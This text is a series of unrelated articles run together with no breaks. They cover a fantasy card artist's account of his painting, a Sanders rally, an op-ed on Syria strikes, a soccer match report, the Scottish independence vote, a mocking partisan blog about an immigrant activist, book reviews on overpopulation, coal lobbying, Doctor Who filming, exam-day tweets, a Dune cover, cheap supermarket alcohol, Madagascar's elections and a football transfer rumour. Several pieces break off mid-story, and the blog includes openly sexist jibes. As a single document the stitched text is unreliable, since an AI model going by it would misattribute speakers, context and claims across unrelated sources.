Notes: [[Not providing Maelstrom ref because (a) terrain around it isn't clear in any ref, and (b) the Maelstrom itself is gone, its energy harvested. This thing walks around where it used to be.]]
One of the things that stood out and informed some of my creature design decisions was the fact that this was a steeply inclined rocky landscape, so I wanted the Wanderer to be sure-footed. I decided to make him crab-like.
I was also struck by the idea of him being a creature, but composed of and exuding a lot of energy. I chose to make him more of a solid exoskeletal creature with a core of energy instead of a energy based elemental.
I didn’t end up using much reference for this particular painting, but rather relied on my imagination and familiarity with rock and muscular forms to convey a creature with powerful and weighty limbs. I wanted him to feel like a brooding, heavy juggernaut that just marched the barren plane forever.
I also wanted to convey a vast amount of mana filling him up and surging forth from his body – showing the energy needed to move his massive rocky carcass.
The sense of mass was important, and I wanted him to have a cool visage made up of layered rock plates and glowing from within.
I almost always focus on the main figure first. I like to design something cool and original, then give it some kind of drama, in both the way it’s moving and through color and light. I added in the background later.
When I do the actual painting, I mask off the figure first and fully paint the background, then I paint the figure.
I love the dramatic, almost cataclysmic nature of the Maelstrom Wanderer. There’s a ton of energy swirling around him and in the background.
My favorite parts of the painting are his fiery gut behind the rock-form ribcage, and his face with the star pattern and the floating rock shapes that stay suspended in the blue mana storm emanating from his neck and clavicle region.
I’m so grateful that players are enjoying Maelstrom Wanderer and the artwork I created for the card. And thanks to all the sites and communities that support fantasy art like OMA!
The original artwork for Maelstrom Wanderer was created traditionally and sold many years ago.
Tom is currently taking pre-orders for an official MAELSTROM WANDERER PLAYMAT! This is a high quality playmat produced by UltraPro and only available through Tom. You can get details and pre-order a playmat for $40 at his web store(prices will go up after this initial offering).
Tom also has all kinds of Original Art, Sketches, Prints, Artist Proofs, Books (Blood Rituals: The Art of Tom Baxa, Get Work as a Fantasy Artist) and Merchandise available at his website.
Thank you Tom for sharing this story with us.
Mr. Sanders blitzed through Idaho, Utah and Arizona ahead of crucial nominating contests in those states on Tuesday. Facing a deep deficit in the race for delegates after losses in five states this week, he continued to hammer away at his core messages on campaign finance and Wall Street reform while trying to seize the mantle of electability from Hillary Clinton.
“Let me say a word to you about my good friend Donald Trump,” Mr. Sanders said at a rally before more than 3,000 people at a high school gym in Idaho Falls. “Just kidding, he’s not my good friend. In fact, I never even went to one of his weddings.”
Posted
The chemical weapons attack against civilians in Khan Shaykhun in April has caused moral outrage from the international community.
While the world was divided over who was responsible for the attack, and many demanded an independent inquiry, most Syrians inside the country had already made up their mind and pointed the finger at the Bashar al-Assad regime.
That is why when the US launched 59 missiles into the Syrian regime's military airbase in Homs a few days later, many Syrians welcomed the move.
No surprise
Most Syrians need no evidence implicating the Assad regime in the chemical weapons attack.
While it is reasonable for the international community to demand a formal inquiry into the attack, Syrians did not wait for any evidence to emerge.
They have seen and lived the real-life evidence of the Assad regime's discriminate and indiscriminate shelling using all types of conventional and unconventional weapons for more than six years.
This was not the first time civilians were targeted by chemical weapons, so the recent attack came as no surprise.
Syrians inside the country welcomed the retaliatory US strikes, but not out of a naivety to the realities or the complexities of conflict, nor in anticipation of a genuine attempt to unseat Assad through strategic calculation.
Instead many were driven by a natural instinct for survival, having dispensed of idealistic anti-war ideology that is hardly applicable, or even relevant, to those in the epicentre of war.
No room for idealism
For the conflict in Syria in particular, Syrians are quite aware that the existing military intervention by outside forces in Syrian politics leaves no room for such idealism.
Russia and Iran have provided consistent military, financial, and diplomatic support to the Assad regime for the past six years, allowing it to sustain its military campaigns against civilians.
This stands in stark contrast with the intermittent support provided to the Syrian opposition, which has been insufficient to stand up to the military might of the Assad regime and its allies.
Pithy, albeit in many cases well-intentioned, phrases such as "Hands Off Syria" are not particularly helpful or realistic and have been exploited and propelled further by the very people who support the dictator and his Russia and Iran allies.
By standing with Assad, or being silent about his atrocities, the Hands Off Syria movement is by default advocating for the continuation of what has in many ways amounted to a "politicide" and bombardment of residential areas with impunity from the international community.
Ironically, mottos such as this one are not in fact advocating for peace but are instead advocating for a continuation of the status quo, in this case further violence, at the hands of the Assad regime.
Sorry, this video has expired Video: US launches missile strike against Syrian airfield (ABC News)
Putting an end to the violence
Most Syrians realise the need for a balance of power that pushes Assad to negotiate.
As things stand now, Assad is not compelled to negotiate, as his forces have been making consistent military gains for the past year, thanks largely to increased support by Russia and dwindling support to the opposition.
While the actual intent and motives behind the strikes may not be in line with Syrians' interest and values, nor in fact have had anything at all to do with Syria but instead US presidential popularity polls, these strikes might still have the effect of limiting Assad's military power and hopefully pressuring him to sit at the negotiating table.
The first step towards building peace is to actually put an end to the violence and to find a political solution to the conflict.
The only way to achieve that is to force the Assad regime to halt the attacks, incarceration, torture, and disappearances and to genuinely compromise and negotiate.
Under no illusions
The recent strikes alone may not tip the balance or change the situation on the ground, but if part of a strategic framework of negotiations and finding a solution, they have the potential to pave the way for peace in Syria.
Let me reiterate once again that Syrians are not under the illusion that the Trump administration has Syria's best interests at heart (lest we forget this is the very administration which has banned Syrians from even entering its country).
The United States, along with other Western countries, have long pursued their own interests in the Middle East, pursuits which have often had devastating and destabilising effects on the region.
The horrific memory of the US invasion of Iraq is firmly etched in the mind of every Syrian.
Unfortunately however, the situation has become such that the Syrians do not have the luxury to choose who stands by them and who does not, and moreover, why.
The parents who saw their children's asphyxiating deaths would consider any option that keeps them and their loved ones alive.
For many commentators, Syria presents a baffling and almost fascinating chess game which requires much pondering and punditry; for Syrians, the issue is whether you survive another day or you don't.
Rifaie Tammas is a PhD candidate at Macquarie University, researching collective violence, regime change and foreign intervention in Syria. He is a Syrian refugee from Homs, now a permanent resident in Australia, who worked as a citizen journalist between 2012 and 2013 reporting on the conflict from Syria.
The Colombian forward came on as a substitute in the 58th minute, and immediately made an impact with his speed and long runs. And with the game still tied at 1-1, Garcia headed home the game-winner in the 84th minute, timing his run perfectly to beat his defender to a cross from playmaker Javier Morales.
FULL MATCH STATISTICS AND BOX SCORE
The icing-on-the-cake tally came on another feed from Morales, this time on a breakaway in second-half stoppage time.
After a feeling-out period to start the game, things heated up after the first 20 minutes with both teams striking the woodwork. First it was RSL's Khari Stephenson nailing the left post on a free kick. Then LA's Jose Villareal responded with a searing drive of his own that slammed against the crossbar, just moments after he tested Nick Rimando on a curling free kick.
It was the prelude to the fireworks at the end of the first half.
Stephenson came back to find the back of the net in the 44th minute with a right-footed blast from outside the box. LA 'keeper Brian Rowe was shielded on the play and couldn't react in time to stop the low drive.
OPTA CHALKBOARD: Garcia's magical half-hour of action vs. Galaxy
Landon Donovan leveled things just two minutes later in first-half stoppage time. The Galaxy star challenged RSL central defender Nat Borchers on a header at the top of the box. The ball ricocheted between the two before landing perfectly for Donovan, who used textbook technique to bang a shot that beat Rimando to the far post.
The chances were few and far between in the second half as both teams applied suffocating pressure in the middle of the field. With the entrance of Garcia and fellow forward Devon Sandoval, RSL began throwing numbers forward late in the match with two brilliant finishes by Garcia ultimately deciding the match.
RSL are back in action on Wednesday when they host USL-Pro side Charleston Battery in the 4th round of the US Open Cup. The Galaxy, already eliminated from the Open Cup, have a league bye next weekend, returning to face the Portland Timbers at the StubHub Center on June 19.
Sturgeon now has the mandate of parliament to “take forward discussions” with the UK Government on the details of a section 30 order, the mechanism to transfer the legal powers for a vote.
Speaking after the vote, the First Minister said she would make a formal approach to the UK government in the next few days but that it was up to Theresa May to say when the UK Government thought the next referendum would be "acceptable".
“It is now the will of Scotland’s democratically elected national parliament that discussions should begin with the UK Government to enable an independence referendum to be held," the First Minister said.
"People should be given that choice once the details of the UK’s Brexit deal are clear – and the Prime Minister yesterday confirmed to me that she agrees this will be in 18 months to two years from now.
“Today’s vote must now be respected. The mandate for a referendum is beyond question, and it would be democratically indefensible – and utterly unsustainable – to attempt to stand in the way of it.
“We will now act on the mandate given to us by parliament by making a formal approach to the UK Government within the next few days, after Article 50 has been triggered.
She added: “The Prime Minister says that now is not the time for a referendum. I agree with that, which is why I have indicated a timescale no earlier than 18 months from now, when the terms of Brexit are clear – something the PM has now indicated she agrees with. It is up to the UK Government to now make clear when they consider a referendum would be appropriate."
The First Minister concluded: "The people of Scotland are sovereign, and they will be given a choice on their own future,”
A UK Government spokesperson said there would be no negotiations over a second referendum: “The Prime Minister has been clear that now is not the time for an independence referendum, and we will not be entering into negotiations on the Scottish Government’s proposal. At this point, all our focus should be on our negotiations with the European Union, making sure we get the right deal for the whole of the UK. It would be unfair to the people of Scotland to ask them to make a crucial decision without the necessary information about our future relationship with Europe, or what an independent Scotland would look like.
“We have been joined together as one country for more than 300 years. We’ve worked together, we’ve prospered together, we’ve fought wars together, and we have a bright future. At this crucial time we should be working together, not pulling apart.”
Labour's Kezia Dugdale said holding another referendum on leaving the UK was "the wrong thing to do for Scotland’s economy, especially when there is so much economic uncertainty from the Tories’ reckless plans for a hard Brexit."
She added: “There absolutely should not be another independence referendum until after Brexit. We have no idea what Brexit looks like, or how it will impact our economy and families in Scotland.
“If there is to be another vote, the people of Scotland deserve clarity on what they are being asked to vote on.
“This process cannot be a stitch-up between Nicola Sturgeon and Theresa May."
During the debate Scottish Tory leader Ruth Davidson argued that people in Scotland did not want the vote.
“Last week, in what was a disgraceful episode, we were shouted at from the SNP benches and told we were frightened to debate independence,” she said.
“We’re not. But we are sick of it. And most people in Scotland have had enough too. Because this parliament needs to and must focus on the priorities of the people of this country. This is not the time to be side-tracked by yet more unnecessary division.
“It is time for a Government that focuses on the job we pay it to do.”
Is this for real, or is it just another media darling story pushing a false narrative in order to promote a fake agenda?
Supposed illegal immigrant, snowflake extraordinaire and “activist” Belen Sisa posted a very left-leaning Facebook rant on how she’s an “illegal” and still pays her taxes.
Here is Sisa’s post:
Didn’t Rachel Maddow just get hammered in the press for proving that Trump paid way more in taxes than either former president Barack Obama, or perennial mooch Bernie Sanders? And is Sisa really holding a blank 1040 tax form in the picture claiming she just paid her taxes?
Media organizations have fallen in love with Sisa for three reasons: 1) she says she’s an “undocumented immigrant,” 2) her story feeds the pro-amnesty narrative they’ve been pushing for decades, and 3) let’s face it -- she’s a pretty face that would look good promoting such an issue.
That was very sexist of me! I'm sorry (not really).
The kicker of this whole story is what media organizations conveniently left out of their reporting on their new hero, Sisa.
All of these media outlets, including CNN and WGN, only mention that Sisa is a “political science student at Arizona State University.” But that’s not all there is to Sisa.
According to Sisa’s Facebook page, Sisa previously worked as a member of Latino Outreach for the Bernie Sanders 2016 presidential campaign.
But that’s not all! What could Sisa’s current job be?
Sisa lists that she is an “Assistant Organizer and Communications at Progressive Democrats of America,” according to her Facebook page.
How's being a professional activist for Socialism working out for you, Belen? Better yet, how's it working out for the continent your family left when you were six years old?
I’m not saying that Sisa isn’t who she says she is. What I’m saying is that she is exactly who she says she is -- it’s just that we won’t hear all the details from the media.
Here are some pictures of Sisa, the professional activist...
...with Sen. Bernie Sanders:
....with actress and Dakota Access Pipeline protester, Shailene Woodley:
Americans for Religious Liberty journal, Voice of Reason
Hope on Earth: A Conversation, by Paul R. Ehrlich and Michael Charles Tobias. University of Chicago Press, 2014, 188 pp, $20.00.
Philosophy for a Better World, by Floris van den Berg. Prometheus Books, 2014, 293 pp, $23.00.
The Family Planning Fiasco: How the Vatican Subverted Family Planning in the Developing World, by Dieter Ehrhardt. Copydruck Roth Wuerzburg, 2014, 219 pp.
Climate change is real and threatens us all. It is linked to atmospheric carbon dioxide buildup, fossil fuel overuse, environmental degradation, resource depletion, toxic waste accumulation, deforestation, desertification, soil erosion and nutrient loss, biodiversity shrinkage, and increasing sociopolitical instability and violence. All this, in turn, is linked to human overpopulation, tripled since 1945 to well over 7 billion. The overpopulation problem was spelled out in the US government’s 1975 National Security Study Memorandum 200 report, signed by President Gerald Ford and National Security Adviser Brent Scowcroft. The NSSM 200 report, mysteriously classified and buried until 1989, recommended universal access to contraception and noted that overpopulation could not be reined in without widespread legalization of abortion. The report noted that about 30 million abortions were performed each year worldwide, most of them illegal and dangerous. Alan Weisman’s 2013 book Countdown (reviewed in Americans for Religious Liberty’s journal Voice of Reason, No.126) reported that the annual world abortion figure is now 40 million. For details on the NSSM 200 report see VOR issues No. 41 (Spring 1992) and 50 (Summer 1994), accessible online at arlinc.org.
All three of these books deal with the overpopulation issue. Environmental scientists Paul Ehrlich, author of the important 1968 book The Population Bomb, and Michael Charles Tobias put much of the blame for inaction on the Vatican. Ehrlich writes that the main source of opposition to contraception “is that of the Vatican and its bishops. Yet Catholics use contraception as much as non-Catholics, and they have abortions with even higher frequency. But the reason that the hierarchy fights against both is that the higher-ups don’t want to admit that the Protestants and Jews were right.” He adds that the “God-fearing” people’s “rigid opposition to something so basic, so critical to the future of life on Earth, as controlling reproduction [is] just as unethical as any major affront to the environment or terrorist act. They’re working to kill people – women who need safe abortion now, and our descendants who are likely to have much higher death rates related to the decay of human life-support systems as a consequence of overpopulation. The pope and many of the bishops are one of the truly evil, regressive forces on the planet, in my opinion, interested primarily in maintaining their power.”
Strong stuff, that. A great many Catholics and others are hoping that Pope Francis will do the right thing for our planet, rescind Pope Paul VI’s 1968 ban on contraception that was promulgated in defiance of the advice of the overwhelming majority of his own advisers.
Dutch philosopher and ethicist Floris van den Berg agrees with Ehrlich and Tobias on the importance of dealing with the overpopulation issue. But beyond that he proposes an ethical system, called “universal subjectivism”, that “can be adopted by anyone regardless of religious or philosophical orientation”. He is concerned with the sustainability of our environment and offers practical advice. “Eating lower on the food chain, by eating cereal and vegetables, instead of feeding these to animals as feed and eating the animals, is much more efficient in the use of water, food and energy…. Voluntary reduction of the ecological footprint (voluntary simplicity) is a moral duty, not just a nonobligatory choice.”
Dieter Ehrhardt, a retired official of the German Ministry for Economic Cooperation and later the UN Fund for Population Activities, with years of experience in the West Indies and Africa, brings his informed perspective to this issue. He praises Catholic theologian Hans Kung and Catholic officials, such as Vatican demographer Rev. Arthur McCormack, who defied the Vatican on contraception, but hits the Vatican hard for its obstinate opposition to progress in slowing population growth. He cites Carl Bernstein’s report that with regard to the 1984 UN Mexico City conference, “In response to concerns of the Vatican, the Reagan Administration agreed to alter its foreign aid program to comply with the church’s teaching on birth control.” Bernstein reported in Time magazine on February 24, 1992, that Reagan’s top advisers, such as Secretary of State Alexander Haig, “regarded the US-Vatican relationship as a holy alliance: the moral force of the Pope and the teachings of their church combined with the American notion of democracy.”
Ehrhardt’s book so far has been published in only a limited printing in Germany and awaits an American publisher. It was reviewed favorably in the No. 3 issue of Conscience, the quite excellent journal of Catholics for Choice. Ehrhardt is one of the few who point out the enormous importance of bureaucratic enertia by big governments for new directions of decision making such as increasing funding for international family planning, and with his lifting of the ban the Pope should encourage immediate funding increases by donor governments. It is too late for the world to afford slow movement in this regard – too much is at stake for mankind.
Overpopulation and climate change are top priority issues that will not go away.
Edd Doerr was president of the American Humanist Association from 1995 to 2003, serving previously as vice-president and board chair under Isaac Asimov from 1985 to 1991. He has been executive director and then president of Americans for Religious Liberty since 1982. A former teacher of history and Spanish, he is the author, co-author, editor, or translator of twenty books, mostly on religious liberty and reproductive rights. He served on the governing body of the Religious Coalition for Reproductive Choice from 1973 until 2004 and on the boards of NARAL, the ACLU of Maryland, and the National Committee for Public Education and Religious Liberty. More than 3,000 of his articles, columns, reviews, and letters have been published in The Humanist and many other publications. For over ten years he has been writing a column in the journal Free Inquiry from the Council for Secular Humanism.
National Geographic – Living Among the Dead
Chatting with Paul Ehrlich
Can a collapse of global civilization be avoided?
This kind of news just makes me sick -- especially since these are the guys who have scarred WV's land and abused her people. We don't need to wonder what is driving some Senators to oppose popular legislation that would, in one fell swoop, create millions of jobs, strengthen U.S. national security, defund unsavory regimes and protect our environment from earth-scorching carbon pollution. Follow the money.
Clean energy and climate legislation didn't make it through the U.S. Senate this summer, despite the overwhelming scientific and economic evidence, and despite the fact that there almost certainly were more than 50 (aka, a "majority" of) Senators willing to vote for such legislation. First and foremost among those reasons, of course, was the near-unanimous opposition by Republicans to move ahead in this area. In addition, there were several Democrats, mostly from states with coal interests, who were probable "no" votes -- and the money helps paint the picture about why.
As the Natural Resources Defense Council's Pete Altman points out:
Next time someone asks why climate legislation is so difficult to move forward, point them this way. Peabody Energy and Arch Coal are prime examples of how narrow special interests can operate in stealth mode to deny climate science and to put the brakes on climate legislation.
How do Peabody and Arch buy influence in Washington, DC? Very simple -- money. Lots and lots of money funneled into influencing policy and policymakers. For instance:
"In 2008 and 2009, Arch Coal (3.04 million) and Peabody Coal (14.2 million) spent a combined 17.9 million in direct federal lobbying on energy, environmental and other matters.
"The two companies contributed 5 million each to the budget of the American Coalition for Clean Coal Electricity ("ACCCE") in 2008, and presumably have continued to keep their memberships current with contributions in 2009 and 2010.
She bagged the coveted role of the new Doctor Who assistant five months ago, and Jenna-Louise Coleman has now got to work in shooting what is believed to be her debut scenes.
The 26-year-old actress will take over from Scottish star Karen Gillan in portraying the Time Lord's new companion, Clara.
It is believed the thought Coleman will make her entrance on the BBC sci-fi show's Christmas special, which the former Emmerdale actress began filming scenes for yesterday.
Preparing for action: Jenna-Louise Coleman was spotted filming scenes for the Doctor Who Christmas special in Newport, Wales, yesterday
On location in Newport Wales, the brunette beauty appeared to be dressed in typically Victorian attire, with her locks teased into loose curls.
Keeping warm in a big black jacket, the star chatted with cast and crew as she practiced her lines.
Also seen on set was guest star Tom Ward - best-known for his role in Silent Witness - who fitted in perfectly with his Victorian-style suit.
Newcomers: Silent Witness star Tom Ward was seen alongside Jenna-Louise on set
Life On Mars actress Liz White relaxed by reading a book when she wasn't filming her scenes, while Stella star Catrin Stewart also got to work, reprising her role as Jenny.
And Doctor Who wouldn't be Doctor Who without its fair share of otherworldy creatures.
Neve McIntosh returned to her role as Madame Vastra the Silurian for the seventh series of the show, and was fully made-up with prosthetics to create her character's green reptile appearance.
Christmas special: Catrin Stewart and Tom Ward got to work filming their scenes for the BBC sci-fi show
Meanwhile, Dan Starkey reprised the part of Sontaran commander Strax.
Jenna-Louise landed the leading role in March, and recently explained that her audition for Doctor Who was like no other she had even been to.
She said: 'Normally you’re just reading in front of a camera, but with this, it was so physical. We were using props and running around so it felt like playing - and like a partnership straightaway.
Scary: Neve McIntosh and Dan Starkey reprised their roles as Madame Vastra the Silurian and Strax
'I have an idea of the story, of the character and of a few surprises, but I don’t know her name or where she’s from. I just told Steven [Moffat] and [producer] Caroline Skinner, "Don’t tell me anything until I need to know it".'
The actress, who is best known for best known for playing Emmerdale’s Jasmine Thomas and Waterloo Road’s Lindsay James, recently played a maid Annie Desmond in ITV's Titanic serial.
Kicking back: Liz White seemed to be having a whale of a time as she took a break from filming
GCSE exams — the ones all 15- and 16-year olds take at the end of secondary school — have kicked off in Britain this week.
On Tuesday, it was time for biology. People weren't exactly feeling confident going in.
I'm gonna fail harder than Lamarck's theory of evolution on this exam #aqabiology — Lewis Day (@LewisADay) May 17, 2016
Can a white blood cell please come and engulf me before this exam #aqabiology — George (@george_sheader) May 17, 2016
if the 6 mark question is about GM crops #aqabiology pic.twitter.com/tdjC1kbOAn — paige (@paigexii) May 17, 2016
Judging by the reactions on Twitter after the exam, though, it wasn't as bad as everyone had feared.
It was worse. Much, much worse.
when everyone opens their #aqabiology gcse exam and realises there isn't ctually any biology in it pic.twitter.com/WouuNUfrKJ — GCSE Problems (@GCSEProbIems) May 17, 2016
Many people were complaining that the exam barely had any questions on the stuff they'd actually revised.
Can we have a moment of silence for all of the people who actually revised the b1 specification #aqabiology — Francesca (@FrancescaaPring) May 17, 2016
When the biology exam is about teenagers and rats getting drunk but you revised actual biology instead #aqabiology pic.twitter.com/EYSk8OgIJa — Jess Morgan (@jessmorgan_x) May 17, 2016
One teen took to Reddit to offer an explanation.
Although there wasn't much on the carbon cycle, there were apparently plenty of questions about drunk rats, drunk teenagers, mosquitos and "independent business".
I learnt the carbon cycle, menstrual cycle and everything about vaccinations only to be asked about pissed up rats #AQABiology #gcsebiology — lauryn (@laurynhalIam) May 17, 2016
when I opened the paper and saw the question about drunk rats #aqabiology pic.twitter.com/AiTCyu6IG3 — georgia (@BEYONCJAl) May 17, 2016
" Scientists tested on rats by giving them alcohol " 😫 #aqabiology pic.twitter.com/WqbkvkJg7L — IG: CALLUM.HIGGINS (@itscallum) May 17, 2016
People really weren't a fan of the "Independent business" question.
searching for the biology in "what's an independent company" #aqabiology pic.twitter.com/2wNlNqvZpr — elle (@eleanormaryjane) May 17, 2016
Or the mosquito question.
"Do you think that scientists should release GM mosquitos into the wild?" #aqabiology pic.twitter.com/RRI3OZ0Qur — Amy☄ (@Real_Amy_Jones) May 18, 2016
The underage drinking question didn't go down too well, either.
Think the percentage of the amount of alcohol 15 year olds drink will be a lot higher after that exam #aqabiology — charlotte (@charlotte2byron) May 17, 2016
Who was drunker: the rats, the underage teenagers, or the people who actually made that exam?? #aqabiology — Anya Robinson (@AnyaRobinson_) May 17, 2016
Basically the whole exam was a bit of a catastrophe.
When a question on #aqabiology exam says "give 4 reasons" but you only have 2 https://t.co/4mYes6YQ9v — GCSE Problems (@GCSEProbIems) May 17, 2016
Still, there's always a silver lining.
Guys calm yourselves, if you all do badly then you all do well as the grade boundaries drop. 👍 #aqabiology #teamwork — Sam Homewood (@SamHomewood) May 17, 2016
Hopefully the upcoming exams will go a little better, eh?
got out my of mice and men book ready for chemistry on thursday since that's more likely to come up than polymers #AQABiology — james (@iTOUCHLIZARDS) May 17, 2016
Posted on May 19, 2015 in Books, News with tags Book Covers, Frank Herbert
I must not fear. Fear is the mind-killer. Fear is the little-death that brings total obliteration. I will face my fear. I will permit it to pass over me and through me. And when it has gone past I will turn the inner eye to see its path. Where the fear has gone there will be nothing. Only I will remain. Well, you and this incredible all-new cover celebrating Dune’s 50th anniversary!
To celebrate the 50th anniversary of Frank Herbert’s science fiction masterpiece Dune, Hodder & Stoughton have repackaged their paperback edition of the book with an all-new cover by artist Sean O’Connell. Sean is a graphic artist working out of Oregon, the same state that sparked Frank Herbert’s initial interest in desert ecology. Herbert said that the moving dunes there could ‘swallow whole cities, lakes, rivers, highways.’
Hodder editors Anne Perry and Oliver Johnson discovered Sean’s work online. No one can explain the thinking behind his art better than Sean himself:
I was born in 1986 and spent my childhood years in Ventura, California. When I was 10 my family moved to Oregon and I’ve lived here ever since. I’m the eldest of six children and I was educated primarily at home until college. I’ve been drawing, crafting, or creating in some capacity for the majority of my life. In high school I was an avid fencer with the Eugene Fencers Club. At my peak I fenced four days a week, worked as an assistant coach, and competed on a local level. Starting college I originally intended to major in engineering at Oregon State University. At that time I barley knew that graphic design was a thing people could do. After a year of this I realized I didn’t have an interest in engineering as a profession so I enrolled at a local college in Albany, Oregon in their graphic arts program. It offered a comparable program headed by wonderful teachers, most notably John Aikman. I graduated the program in 2010 and I’ve been freelancing and focusing on art for independent video gaming ever since. Regarding my inspiration for the cover: as it’s been a while since the original inception I’ll attempt to recall my thinking. I’ve been a fan of Dune for a long while. It is my father’s favorite book and he was the one to introduce the universe to me. We’ve had many a discussion on the Dune universe. My inspiration for the cover design stemmed from my love of the concept of a thing within a thing. The ever-present theme of wheels within wheels in Frank Herbert’s writings are a good example. The underlying theme of Dune is ecology and the relationship of the desert with the spice, the spice with the sandworms, and the sandworms with the desert. Even beyond all the political intrigue and the concept of a galactic economy being dependent on once very scare resource. I had the idea of the sparse desert landscape with the moons. It’s a classic landscape of Arrakis. I put the scene within a reverse silhouette of a giant worm to show that the desert exists because of the worm but also that the worm exists because of the desert. To look at the illustration I hoped to created the illusion that you could not focus on one aspect of the image for too long without seeing the other. With this dichotomy of imagery presented on the cover, perhaps the reader will be prepared for the intriguing themes held in the pages it contains.
The state's licensing authority has shrugged off warnings against selling super-cheap alcohol in supermarkets to give Aldi the green light for 34 outlets to stock beer for $1 a can and wine for as little as $2.25 a litre.
Health officials formally objected to the issuing of the new liquor licences, particularly in some regional and rural areas, insisting the increased access will "contribute to further alcohol-related harm and negative health outcomes".
It would also "place additional burden on hospitals, ambulance services and emergency departments".
But the Casino Liquor and Gaming Control Authority signed off on them, and is considering another 20 outlets.
The alcohol will be sold unrefrigerated in a separate space to the grocery aisles although shoppers will be able to also use the liquor area check-out to purchase non-alcohol items.
NSW Health objected to the liquor applications in nine out of 11 Aldi applications lodged before August, including at Ulladulla, Hamilton, Crooks Hill, Greenhills, Raymond Terrace, Taree and Muswellbrook.
Beer prices at Aldi stores start at $8.99 for a six-pack of Smith Clyde Lager to $19.99 for a carton of Storm Brewing Premium Light Beer. Four-litre casks of wine are available for less than $9 and bottles of sherry are sold for under $5.
Labor MP Walt Secord called on the state government to ensure youngsters could not have access to cheap alcohol.
"Unfortunately, high-risk alcohol use is increasing in our young people and we must look at ways to reduce their access to alcohol," he said.
The Ulladulla and Districts Community Resource Centre also complained to the licensing authority, saying there were already enough outlets "in a low-income area with high unemployment and major alcohol problems, and that another alcohol outlet was not needed".
Aldi has argued that its restrained opening hours compared with traditional bottle shops, and ban on quantity-based promotional offers such as two-for-one deals meant its impact would be negligible.
An Aldi spokeswoman rejected suggestions the licences would result in increased consumption of alcohol.
"The introduction of liquor to NSW stores will provide NSW customers with the same convenient shopping experience that (Victoria and the ACT) currently experience," she said.
Salvation Army recovery services clinical director Gerard Byrne called on the state government to restrict the number of liquor licences.
Former presidents – toppled in coups or by contentious votes – are talking of returning from exile, opposition groups are becoming increasingly vocal, and a new and apparently independent election commission is printing ballots and readying polls for a four-stage series of elections, beginning with today's constitutional referendum. But is Madagascar ready for its return to democracy?
"We are ready for this election," says Yves Hery Rakotomanana, head of the National Independent Electoral Commission. Nothing should delay the votes, he adds, not even the logistical nightmare of holding elections during the country's six-month-long rainy season. "We don't have a choice. We have to have an election. For us, what we are looking for is a clean election. If the election is a mess, then Madagascar will go down."
The consequences of coups
The coup that toppled Madagascar's last elected government in March 2009 made little noise on the world scene. Power shifted from one elite to another; peace negotiations were held, then collapsed; and Madagascar's mining industry slowed to a crawl. Yet any coup in Africa is troubling, Western diplomats say, because it lowers the standard of behavior for neighboring regimes. And any election, even if flawed, offers a chance to end the political crisis that keeps the country poor.
"We have had a year-and-a-half of transition that was not dictatorial, but it was not stable either, so we in the international community say that we need to restore democracy," says a Western diplomat, speaking on condition of anonymity in Antananarivo, the capital. "If Andry doesn't ruin this, then that may allow a new generation to come to power."
In Madagascar, those are hopeful words. Nearly 70 percent of the population, 14 million citizens, live below the poverty line. Some 1.3 million survive on daily international food assistance. Anything that creates instability, scares off investors or tourists, and slows the economy is unwelcome.
But in a country where power bounces among elite groups like a beach ball, true stability will come only through fundamental changes in how power is distributed, experts say.
"We're at a moment when the state itself is in danger; it is not able to provide the most basic services of health, education, sanitation, and security. Military discipline is completely breaking down," says Charlotte Larbuisson, regional analyst for the International Crisis Group.
Free and fair presidential polls?
Two or three of the more recent presidents of Madagascar may be returning to take part in the upcoming elections, supporters say. Presidential elections are currently scheduled for May 2011, following mayoral elections in December and legislative elections in March 2011.
"We are moving toward national reconciliation and forgiveness between Madagascans," Fetison Rakoto Andrianirina, a spokesman for former President Marc Ravalomanana, told supporters at an Oct. 18 rally. "The proof of this is the imminent return of the two presidents who have been in exile."
Still, some opposition activists say they are skeptical that the current elections will be free and fair. "We are not against the principle of elections as a way out of the crisis," says Pierrot Rajaonarivelo, a former finance minister in the government of Mr. Ravalomanana. "What bothers us is the timing. No one has a copy of the Constitution, not even the officials themselves."
Opposition activists also point to what they say is bad faith on the part of the Rajoelina government in the way that opposition rallies tend to be shut down by police, such as one on Oct. 18 in the capital that was dispersed with tear gas.
Government officials loyal to Rajoelina say nothing will stop the elections from taking place, and yet they continue to defend the coup, especially against criticism from their neighbors in Southern Africa.
"One has the right to strike if one feels his liberty is not respected, so we had the right to take the future in our hands," says Hajo Andrianainarivelo, who, as minister of land management, has one of the most coveted jobs in this island nation.
"As for SADC [the Southern African Development Community]," he says, wrinkling his nose, "we don't need democracy lessons from the likes of Zimbabwe or Swaziland." Zimbabwe held deeply flawed elections in March 2008, which led to a tense coalition government, and Swaziland is Africa's last remaining monarchy.
In between the government and opposition groups are local mediators such as Pastor Paul Ramino.
Swansea City are eyeing up a shock move for Celtic’s former Cardiff City star Adam Matthews.
And it is thought the Wales full-back would be keen to make the move to his hometown team as Garry Monk seeks to make his final moves in the transfer market ahead of the new season.
Boss Monk admitted after the 3-1 warm-up win over Reading he was keen to bring in as many as three further new recruits before the window closes at the end of the month.
And with a full-back is high on the agenda, 22-year-old Matthews is thought to have been identified by the club as a potential target to compete with Angel Rangel and Neil Taylor.
Matthews has two years left on his Celtic Park deal, the 12-cap international making a Bosman switch to the Scottish giants in 2011 having been controversially frozen out by the Bluebirds.
And he could be available in a £2m deal with Celtic mindful of the financial cost of their impending Champions League exit following their 4-1 first-leg qualifying defeat to Legia Warsaw.
Swansea-born Matthews – who was at the Swans as a schoolboy before being snapped up by Cardiff – has been admired by the club’s scouting team for some time after impressing with the Bhoys.
(Image: Action Images / Matthew Childs)
And it is thought the player would be open to the idea of returning to his boyhood team which would see him join a select list of stars to have represented both clubs in the South Wales rivalry.
Monk had been interested in securing a deal for Tottenham’s Kyle Naughton but Swansea are thought to be wary at the fee Spurs are demanding as well as the wages the player is seeking.
And it remains to be seen whether he will want to push ahead with a deal for Matthews as he weighs up his transfer priorities in the final weeks of pre-season.
Swansea had also been linked with a move for Matthews’ Celtic teammate Virgil van Dijk but it is likely that Monk would have to move out players before spending £6m on the centre-back, Chico Flores likely to be given the nod to start the season despite interest from Deportivo La Coruna and former boss Michael Laudrup who is eyeing recruits for new club, Qatari champions Lekhwiya.
A deal for former loan star Jonathan de Guzman could still be on the cards but with the World Cup ace mulling over interest from elsewhere Swansea could focus their interest on Southampton’s Jack Cork.
